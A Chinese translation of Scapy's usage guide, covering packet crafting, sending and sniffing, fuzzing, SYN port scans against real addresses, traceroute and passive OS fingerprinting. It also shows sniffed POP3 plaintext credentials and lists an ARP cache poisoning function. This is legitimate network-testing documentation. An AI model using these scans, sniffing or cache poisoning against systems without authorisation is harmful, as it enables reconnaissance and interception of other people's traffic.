使用方法
譯者:Larry
來源:Scapy中文使用文檔
原文:Usage
0x01 起航Scapy
Scapy的交互shell是運行在一個終端會話當中。因爲需要root權限才能發送數據包,所以我們在這裏使用sudo
$ sudo scapy
Welcome to Scapy (2.0.1-dev)
>>>
在Windows當中,請打開命令提示符(cmd.exe
),並確保您擁有管理員權限:
C:\>scapy
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.0.1-dev)
>>>
如果您沒有安裝所有的可選包,Scapy將會告訴你有些功能不可用:
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
雖然沒有安裝,但發送和接收數據包的基本功能仍能有效。
0x02 互動教程
本節將會告訴您一些Scapy的功能。讓我們按上文所述打開Scapy,親自嘗試些例子吧。
第一步
讓我們來建立一個數據包試一試
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64
堆加層次(OSI參考模型)
/
操作符在兩層之間起到一個組合的作用。當使用該操作符時,下層可以根據其上層,使它的一個或多個默認字段被重載。(您仍可以賦予您想要的值)一個字符串也可以被用作原料層(raw layer
)。
>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>
每一個數據包都可以被建立或分解(注意:在Python中_
(下劃線)是上一條語句執行的結果):
>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 [email protected]<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 .
0A .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
\xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
\xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
我們看到一個分解的數據包將其所有的字段填充。那是因爲我認爲,附加有原始字符串的字段都有它自身的價值。如果這太冗長,hide_defaults()
方法將會刪除具有默認值的字段:
>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
讀取PCAP文件
你可以從PCAP文件中讀取數據包,並將其寫入到一個PCAP文件中。
>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
圖形轉儲(PDF,PS)
如果您已經安裝PyX,您可以做一個數據包的圖形PostScript/ PDF轉儲(見下面醜陋的PNG圖像,PostScript/PDF則具有更好的質量...)
>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
命令 | 效果 |
---|---|
str(pkt) | 組裝數據包 |
hexdump(pkt) | 十六進制轉儲 |
ls(pkt) | 顯示出字段值的列表 |
pkt.summary() | 一行摘要 |
pkt.show() | 針對數據包的展開試圖 |
pkt.show2() | 顯示聚合的數據包(例如,計算好了校驗和) |
pkt.sprintf() | 用數據包字段填充格式字符串 |
pkt.decode_payload_as() | 改變payload的decode方式 |
pkt.psdump() | 繪製一個解釋說明的PostScript圖表 |
pkt.pdfdump() | 繪製一個解釋說明的PDF |
pkt.command() | 返回可以生成數據包的Scapy命令 |
生成一組數據包
目前我們只是生成一個數據包。讓我們看看如何輕易地定製一組數據包。整個數據包的每一個字段(甚至是網絡層次)都可以是一組。在這裏隱含地定義了一組數據包的概念,意即是使用所有區域之間的笛卡爾乘積來生成的一組數據包。
>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
<IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
<IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
某些操作(如修改一個數據包中的字符串)無法對於一組數據包使用。在這些情況下,如果您忘記展開您的數據包集合,只有您忘記生成的列表中的第一個元素會被用於組裝數據包。
命令 | 效果 |
---|---|
summary() | 顯示一個關於每個數據包的摘要列表 |
nsummary() | 同上,但規定了數據包數量 |
conversations() | 顯示一個會話圖表 |
show() | 顯示首選表示(通常用nsummary()) |
filter() | 返回一個lambda過濾後的數據包列表 |
hexdump() | 返回所有數據包的一個hexdump |
hexraw() | 返回所以數據包Raw layer的hexdump |
padding() | 返回一個帶填充的數據包的hexdump |
nzpadding() | 返回一個具有非零填充的數據包的hexdump |
plot() | 規劃一個應用到數據包列表的lambda函數 |
make table() | 根據lambda函數來顯示錶格 |
發送數據包
現在我們知道了如何處理數據包。讓我們來看看如何發送它們。send()
函數將會在第3層發送數據包。也就是說它會爲你處理路由和第2層的數據。sendp()
函數將會工作在第2層。選擇合適的接口和正確的鏈路層協議都取決於你。
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.
Fuzzing
fuzz()
函數可以通過一個具有隨機值、數據類型合適的對象,來改變任何默認值,但該值不能是被計算的(像校驗和那樣)。這使得可以快速建立循環模糊化測試模板。在下面的例子中,IP層是正常的,UDP層和NTP層被fuzz。UDP的校驗和是正確的,UDP的目的端口被NTP重載爲123,而且NTP的版本被更變爲4.其他所有的端口將被隨機分組:
>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.
發送和接收數據包(sr
)
現在讓我們做一些有趣的事情。sr()
函數是用來發送數據包和接收應答。該函數返回一對數據包及其應答,還有無應答的數據包。sr1()
函數是一種變體,用來返回一個應答數據包。發送的數據包必須是第3層報文(IP,ARP等)。srp()
則是使用第2層報文(以太網,802.3等)。
>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
|<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 39
id = 15489
flags =
frag = 0L
ttl = 42
proto = ICMP
chksum = 0x51dd
src = 66.35.250.151
dst = 192.168.5.21
options = ''
---[ ICMP ]---
type = echo-reply
code = 0
chksum = 0xee45
id = 0x0
seq = 0x0
---[ Raw ]---
load = 'XXXXXXXXXXX'
---[ Padding ]---
load = '\x00\x00\x00\x00'
DNS查詢(rd
= recursion desired)。主機192.168.5.1是我的DNS服務器。注意從我Linksys來的非空填充具有Etherleak缺陷:
>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
|<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>
發送和接收函數族是scapy中的核心部分。它們返回一對兩個列表。第一個就是發送的數據包及其應答組成的列表,第二個是無應答數據包組成的列表。爲了更好地呈現它們,它們被封裝成一個對象,並且提供了一些便於操作的方法:
>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding
如果對於應答數據包有速度限制,你可以通過inter
參數來設置兩個數據包之間等待的時間間隔。如果有些數據包丟失了,或者設置時間間隔不足以滿足要求,你可以重新發送所有無應答數據包。你可以簡單地對無應答數據包列表再調用一遍函數,或者去設置retry
參數。如果retry設置爲3,scapy會對無應答的數據包重複發送三次。如果retry設爲-3,scapy則會一直髮送無應答的數據包,直到。timeout
參數設置在最後一個數據包發出去之後的等待時間:
SYN Scans
在Scapy提示符中執行一下命令,可以對經典的SYN Scan初始化:
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
以上向Google的80端口發送了一個SYN數據包,會在接收到一個應答後退出:
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding load='V\xf7' |>>>
從以上的輸出中可以看出,Google返回了一個SA(SYN-ACK)標誌位,表示80端口是open的。
使用其他標誌位掃描一下系統的440到443端口:
>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
或者
>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
可以對收集的數據包進行摘要(summary),來快速地瀏覽響應:
>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding
以上顯示了我們在掃描過程中的請求應答對。我們也可以用一個循環只顯示我們感興趣的信息:
>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440 RA
441 RA
442 RA
https SA
可以使用make_table()
函數建立一個表格,更好地顯示多個目標信息:
>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
... lambda(s,r): (s.dst, s.dport,
... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
66.35.250.150 192.168.1.1 216.109.112.135
22 66.35.250.150 - dest-unreach RA -
80 SA RA SA
443 SA SA SA
在以上的例子中,如果接收到作爲響應的ICMP數據包而不是預期的TCP數據包,就會打印出ICMP差錯類型(error type)。
對於更大型的掃描,我們可能對某個響應感興趣,下面的例子就只顯示設置了"SA"標誌位的數據包:
>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
如果我們想對響應進行專業分析,我們可以使用使用以下的命令顯示哪些端口是open的:
>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open
對於更大型的掃描,我們可以建立一個端口開放表:
>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
... (s.dst, s.dport, "X"))
66.35.250.150 192.168.1.1 216.109.112.135
80 X - X
443 X X X
如果以上的方法還不夠,Scapy還包含一個report_ports()
函數,該函數不僅可以自動化SYN scan,而且還會對收集的結果以LaTeX形式輸出:
>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
TCP traceroute
TCP路由追蹤:
>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1
注意:TCP路由跟蹤和其他高級函數早已被構造好了:
>>> lsc()
sr : Send and receive packets at layer 3
sr1 : Send packets at layer 3 and return only the first answer
srp : Send and receive packets at layer 2
srp1 : Send and receive packets at layer 2 and return only the first answer
srloop : Send a packet at layer 3 in loop and print the answer each time
srploop : Send a packet at layer 2 in loop and print the answer each time
sniff : Sniff packets
p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
send : Send packets at layer 3
sendp : Send packets at layer 2
traceroute : Instant TCP traceroute
arping : Send ARP who-has requests to determine which hosts are up
ls : List available layers, or infos on a given layer
lsc : List user commands
queso : Queso OS fingerprinting
nmap_fp : nmap fingerprinting
report_ports : portscan a target and output a LaTeX table
dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del : Send a DNS delete message to a nameserver for "name"
[...]
配置高級sockets
發送和接收數據包的過程是相當複雜的。
Sniffing
我們可以簡單地捕獲數據包,或者是克隆tcpdump或tethereal的功能。如果沒有指定interface,則會 在所有的interface上進行嗅探:
>>> sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>> a=_
>>> a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>> a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst = 00:ae:f3:52:aa:d1
src = 00:02:15:37:a2:44
type = 0x800
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 84
id = 0
flags = DF
frag = 0L
ttl = 64
proto = ICMP
chksum = 0x3831
src = 192.168.5.21
dst = 66.35.250.151
options = ''
---[ ICMP ]---
type = echo-request
code = 0
chksum = 0x89d9
id = 0xc245
seq = 0x0
---[ Raw ]---
load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst = 00:02:15:37:a2:44
src = 00:ae:f3:52:aa:d1
type = 0x800
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 84
id = 2070
flags =
frag = 0L
ttl = 42
proto = ICMP
chksum = 0x861b
src = 66.35.250.151
dst = 192.168.5.21
options = ''
---[ ICMP ]---
type = echo-reply
code = 0
chksum = 0x91d9
id = 0xc245
seq = 0x0
---[ Raw ]---
load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
load = '\n_\x00\x0b'
對於控制輸出信息,我們可以使用sprintf()
函數:
>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99
64.233.167.99 -> 192.168.1.100
192.168.1.100 -> 64.233.167.99
192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
我們可以嗅探並進行被動操作系統指紋識別:
>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])
猜測操作系統版本前的數字爲猜測的精確度。
Filters
演示一下bpf過濾器和sprintf()方法:
>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110 S :
213.228.0.14:110 -> 192.168.8.10:47226 SA :
192.168.8.10:47226 -> 213.228.0.14:110 A :
213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <[email protected]>
192.168.8.10:47226 -> 213.228.0.14:110 A :
192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto
213.228.0.14:110 -> 192.168.8.10:47226 A :
213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK
192.168.8.10:47226 -> 213.228.0.14:110 A :
192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata
213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed
192.168.8.10:47226 -> 213.228.0.14:110 A :
213.228.0.14:110 -> 192.168.8.10:47226 FA :
192.168.8.10:47226 -> 213.228.0.14:110 FA :
213.228.0.14:110 -> 192.168.8.10:47226 A :
在循環中接收和發送
這兒有一個例子來實現類似(h)ping的功能:你一直髮送同樣的數據包集合來觀察是否發生變化:
>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
導入和導出數據
PCAP
通常可以將數據包保存爲pcap文件以備後用,或者是供其他的應用程序使用:
>>> wrpcap("temp.cap",pkts)
還原之前保存的pcap文件:
>>> pkts = rdpcap("temp.cap")
或者
>>> pkts = rdpcap("temp.cap")
Hexdump
Scapy允許你以不同的十六進制格式輸出編碼的數據包。
使用hexdump()
函數會以經典的hexdump格式輸出數據包:
>>> hexdump(pkt)
0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@[email protected]|......
0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
0060 36 37 67
使用import_hexcap()
函數可以將以上的hexdump重新導入到Scapy中:
>>> pkt_hex = Ether(import_hexcap())
0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@[email protected]|......
0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
0060 36 37 67
>>> pkt_hex
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
Hex string
使用str()
函數可以將整個數據包轉換成十六進制字符串:
>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
